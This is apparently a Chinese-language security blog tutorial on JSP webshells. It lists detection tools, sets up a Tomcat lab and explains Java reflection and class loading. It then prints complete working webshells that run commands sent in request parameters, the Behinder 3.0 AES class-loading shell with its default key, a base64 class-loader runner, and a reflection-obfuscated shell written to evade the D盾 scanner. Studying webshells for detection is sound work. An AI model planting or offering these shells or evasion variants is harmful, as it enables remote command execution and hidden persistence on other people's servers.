常见webshell查杀工具

工具名 下载网址 在线查杀网址 备注
D盾 http://www.d99net.com/ 常见查杀工具
WEBDIR+百度WebShell扫描检测引擎 https://scanner.baidu.com/#/pages/intro 效果比较好
WebShellkiller https://edr.sangfor.com.cn/
WEBSHELL.PUB 专注查杀 http://dl.shellpub.com https://n.shellpub.com/

IDEA 搭建jsp实验环境

下载tomcat,打开IDEA:
image

image

image

image

image

image

image

jsp webshell 知识点

在学习jsp webshell 的时候,会遇到以下知识点,不理解的话对新人来说很难进行下去。

关于 jsp 标签

更多的标签可以在这里进行查看。这里列出一些常见的。

jsp标签名字 使用方式 简介
核心标签库 <%@ taglib prefix=”c” uri=”http://java.sun.com/jsp/jstl/core" %> JSP 页面中引入核心标签库时需要使用
格式标签库 <%@ taglib prefix=”fmt” uri=”http://java.sun.com/jsp/jstl/fmt" %> 格式标签库是用于格式化和显示国际化网址的文本、日期、时间和数字
jsp注释 <%–dddddddddd–%> 用于注释jsp和html
scriptlet <% out.println(“Your IP address is “ + request.getRemoteAddr());%> scriptlet 可以包含任意数量的 JAVA 语言语句,变量或方法声明,或者在页面的脚本语言中有效的表达式。
JSP 声明 <%! int i = 0; %> JSP 声明声明了一个或多个变量或方法,你可以在 JSP 文件中的 Java 代码中使用。当你在 JSP 文件中使用变量或方法之前,你必须声明。

关于 Java 类反射

类反射是指将类的各个组成部分封装成为其他对象,这就是反射机制。

  1. 反射可以让我们在程序的运行当中操作对象(主要是在框架中使用)
  2. 可以结偶,提高程序的可扩展性

获取class类名的方式

  1. Class.forName(“全类名”);//将字节码文件(.class)加载进入内存,返回class对象。
  2. 类名.class: 通过类名属性的class来获取
  3. 对象.getClass(); getClass()方法在Object中进行定义

image

更具体的可以看大白话说Java反射:入门、使用、原理,这个讲的很棒。

关于 Java 的 ClassLoader (类加载)

看这个:

  1. 一看你就懂,超详细java中的ClassLoader详解
  2. 深入理解Java类加载器(ClassLoader)

关于 Java 的构造方法

在一个类中定义的方法如果同时满足以下三个条件,该方法称为构造方法,具有如下:

  1. 方法与类名相同。
  2. 在方法名的前面没有返回值类型的声明。
  3. 在方法中不能使用return语句返回一个值

关于 Java 的 加密方式

  1. Java使用Cipher类实现加密,包括DES,DES3,AES和RSA加密

关于 Java 的重写与重载

  1. Java 重写(Override)与重载(Overload)

关于 Java 的 super() 的使用

  1. Java中super()的使用

关于 Java 动态解析二进制class文件

简单理解,就是在上图片中的class加载阶段,加载我们才事先写好的二进制class文件(在目前服务器阶段,实现了类似PHP代码中的eval效果),从而达到任意代码执行的目的(而且因为class文件是二进制形式,因此也有一定的免杀效果)。这里实验如下:

  1. 首先编译一个我们打算执行的class文件,代码如下(MAC不知道怎么弹计算器,就用命令执行代替了):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package calc;

import java.util.*;
import java.io.*;

public class classTest {
@Override
//验证@Override下面的方法名是否是你父类中所有的,如果没有则报错。
public String toString() {
try {
// 执行命令whoami ,否则返回error
Process p = Runtime.getRuntime().exec("whoami");
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
return disr;
} catch (IOException e) {
e.printStackTrace();
}
return "error";
}
}

注意,使用javac进行编译的话可能会因为编译器版本不同报错,这里建议还是使用IDEA自动编译并计算base64值:

image

写主函数对编译好的bases64代码解密并加载class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package calc;

import sun.misc.BASE64Decoder;


public class test {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws Exception {
//String classStr=""; // class的base64编码
String classStr="yv66vgAAADQAPwoADQAlCgAmACcIACgKACYAKQoAKgArBwAsCgAGAC0KAAYALgcALwoACQAwCAAxBwAyBwAzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY2FsYy9jbGFzc1Rlc3Q7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANkaXMBABlMamF2YS9pby9EYXRhSW5wdXRTdHJlYW07AQAEZGlzcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAvAQAKU291cmNlRmlsZQEADmNsYXNzVGVzdC5qYXZhDAAOAA8HADQMADUANgEABndob2FtaQwANwA4BwA5DAA6ADsBABdqYXZhL2lvL0RhdGFJbnB1dFN0cmVhbQwADgA8DAA9ABYBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA+AA8BAAVlcnJvcgEADmNhbGMvY2xhc3NUZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAhyZWFkTGluZQEAD3ByaW50U3RhY2tUcmFjZQAhAAwADQAAAAAAAgABAA4ADwABABAAAAAvAAEAAQAAAAUqtwABsQAAAAIAEQAAAAYAAQAAAAYAEgAAAAwAAQAAAAUAEwAUAAAAAQAVABYAAQAQAAAAtAADAAUAAAAouAACEgO2AARMK7YABU27AAZZLLcAB04ttgAIOgQZBLBMK7YAChILsAABAAAAHwAgAAkAAwARAAAAIgAIAAAACwAJAAwADgANABcADgAdAA8AIAAQACEAEQAlABMAEgAAAD4ABgAJABcAFwAYAAEADgASABkAGgACABcACQAbABwAAwAdAAMAHQAeAAQAIQAEAB8AIAABAAAAKAATABQAAAAhAAAABgABYAcAIgABACMAAAACACQ="; // class的base64编码
BASE64Decoder code=new sun.misc.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
System.out.println(result.newInstance().toString());
}
}

运行,class文件执行:

image

java webshell 解析

这里列举了一些常见的webshell,并在注释中进行简单分析。

命令执行类webshell

在Java中没有类似PHP中那种代码执行的参数,因此命令之行类shell比较常见,目前最常见的是调用Runtime.getRuntime().exec()和****这两个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
//判断是get请求cmd
out.println("Command: " + request.getParameter("cmd") + "<BR>");
// 输出命令页面
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
//Runtime.getRuntime().exec() 命令执行
//request.getParameter("cmd") 接受的get
//Process 进程管理对象
//Runtime.exec 方法创建一个本机进程,并返回 Process 子类的一个实例,该实例可用来控制进程并获得相关信息。Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁(杀掉)进程的方法。


//OutputStream os = p.getOutputStream();
// 字节输出流
InputStream in = p.getInputStream();
// 字节输入流
DataInputStream dis = new DataInputStream(in);

//BufferedReader d = new BufferedReader(new InputStreamReader(in));
// BufferedReader 字符缓冲输入流

// 数据输入流允许应用程序以与机器无关方式从底层输入流中读取基本 Java 数据类型。
String disr = dis.readLine();
//readLine() 读取一行数据,遇到回车后停止

while ( disr != null ) {
//disr = dis.readLine();
out.println(disr);
//判断返回内容,如果有就输出
disr = dis.readLine();
// 这里是一行一行的读取数据
}

}
%>

具体效果如下

image

在结构上进行了一定的优化后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<% if("023".equals(request.getParameter("pwd"))){
// webShell.jsp?pwd=023 密码验证
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
// 原理同上面那个例子,只不过这里整合了
int a = -1;
byte[] b = new byte[2048]; // 创建byte数组
out.print("<pre>");
while((a=in.read(b))!=-1){
//java.io.InputStream read() 在读取完事后会返回 -1
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>

具体效果如下:

image

基于冰蝎3.0的 jsp webshell

原理可以看作者写的文章,这里我自己进行拆分理解,在冰蝎3.0中自带的jspwebshell如下:

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

具体效果如下:

image

我们进行简单的分化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>

<%!class U extends ClassLoader{
// 继承ClassLoader 类(类加载器)

U(ClassLoader c){
//使用构造方法 super() 子类重写父类
//不理解可以看这个 https://blog.csdn.net/yongbutingxide/article/details/82669054
super(c);
}

public Class g(byte []b){
return super.defineClass(b,0,b.length);
// 使用super调用父类ClassLoader 的defineClass,加载二进制的class文件
}
}%>

<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
//该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond,并且获取POST请求
session.putValue("u",k);
// 将K内容带入session中,方便后面的aes加密
Cipher c=Cipher.getInstance("AES");
// 使用Cipher类进行AES加密
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
// 就尼玛离谱,这么一长串是一个参数
}%>

免杀

命令执行类webshell

利用Java的反射机制,编码关键字,从而达到绕过的效果,相比PHP而言,D盾在Java检测比较简单,只要调整编码格式,关键字,就能绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String("java.lang.Runtime"));
Process e = (Process)
rt.getMethod(new String("exec"), String.class).invoke(rt.getMethod(new
String("getRuntime")).invoke(null, new
Object[]{}), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

image

冰蝎webshell

目前冰蝎3.0有一定的免杀能力,主要原因是吧关键的内容都写在编译好的class中了,检测通过会容易些。

image

相关文章/学习资料

  1. 利用Java反射和类加载机制绕过JSP后门检测
  2. WebShell免杀之JSP ——yzddMr6
  3. webshell中的分离免杀实践-java篇
  4. Webshell-Detect-Bypass
  5. 利用动态二进制加密实现新型一句话木马之Java篇
  6. 大白话说Java反射:入门、使用、原理